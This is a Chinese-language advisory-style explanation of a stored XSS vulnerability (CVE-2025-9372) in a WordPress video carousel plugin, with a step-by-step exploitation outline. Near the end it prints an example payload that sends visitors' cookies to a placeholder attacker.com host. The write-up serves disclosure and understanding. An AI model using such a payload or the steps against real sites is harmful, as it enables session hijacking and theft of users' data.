CVE-2025-9372CVE-2025-9372是WordPress平台上的Ultimate Multi Design Video Carousel插件中存在的一个存储型跨站脚本（Stored XSS）安全漏洞。该漏洞由Wordfence安全团队的安全研究员发现并报告，CVSS评分为5.5分，属于中等严重等级。该漏洞影响该插件所有1.4及以下版本，由于插件在处理用户输入时缺乏充分的输入清理和输出转义机制，导致恶意脚本可以被持久化存储到服务器端。
该漏洞的利用需要攻击者具备编辑者（Editor）级别的WordPress账户权限。一旦利用成功，攻击者可以向页面中注入任意恶意Web脚本，当其他用户（包括管理员）访问被注入的页面时，这些脚本将在受害者浏览器中自动执行。值得注意的是，该漏洞仅影响多站点（Multi-site）安装环境以及禁用unfiltered_html功能的WordPress安装环境。在单站点且未禁用unfiltered_html的环境中，由于管理员可使用HTML标签，漏洞的影响会有所降低。
存储型XSS漏洞的危害性较高，因为恶意代码会持久存储在目标服务器上，每次用户访问受影响页面时都会触发执行，可能导致会话劫持、权限提升、恶意软件传播、数据窃取等多种安全风险。对于WordPress多站点网络环境中的超级管理员而言，任何具备编辑者权限的子站点用户都可能利用此漏洞对整个网络构成威胁。
该漏洞的技术原理在于Ultimate Multi Design Video Carousel插件对用户提交的数据缺乏充分的输入过滤和输出转义处理。在WordPress中，插件通常通过自定义文章类型（Custom Post Type）、自定义字段（Custom Fields）或简码（Shortcode）等方式存储和展示用户输入的内容。
漏洞利用过程如下：
1. 攻击者使用具有Editor级别权限的账户登录WordPress后台；
2. 攻击者通过插件提供的输入字段（如轮播标题、描述、视频信息等）提交包含恶意JavaScript代码的payload；
3. 由于插件未对输入进行HTML实体编码或过滤，恶意脚本被原样存储到数据库中；
4. 当普通用户或管理员访问包含该轮播内容的页面时，服务器从数据库读取存储的内容并直接输出到HTML页面中；
5. 浏览器解析并执行嵌入在页面中的恶意JavaScript代码。
典型的恶意payload可以是窃取cookie的脚本，例如：document.location='http://attacker.com/steal?c='+document.cookie，或者执行更复杂的操作如伪造管理员请求、修改页面内容等。由于该漏洞仅影响多站点环境或禁用unfiltered_html的环境，这意味着在标准配置下，WordPress的KSES过滤机制会阻止大多数HTML标签的提交，但插件特定的输入字段可能绕过了这一保护机制。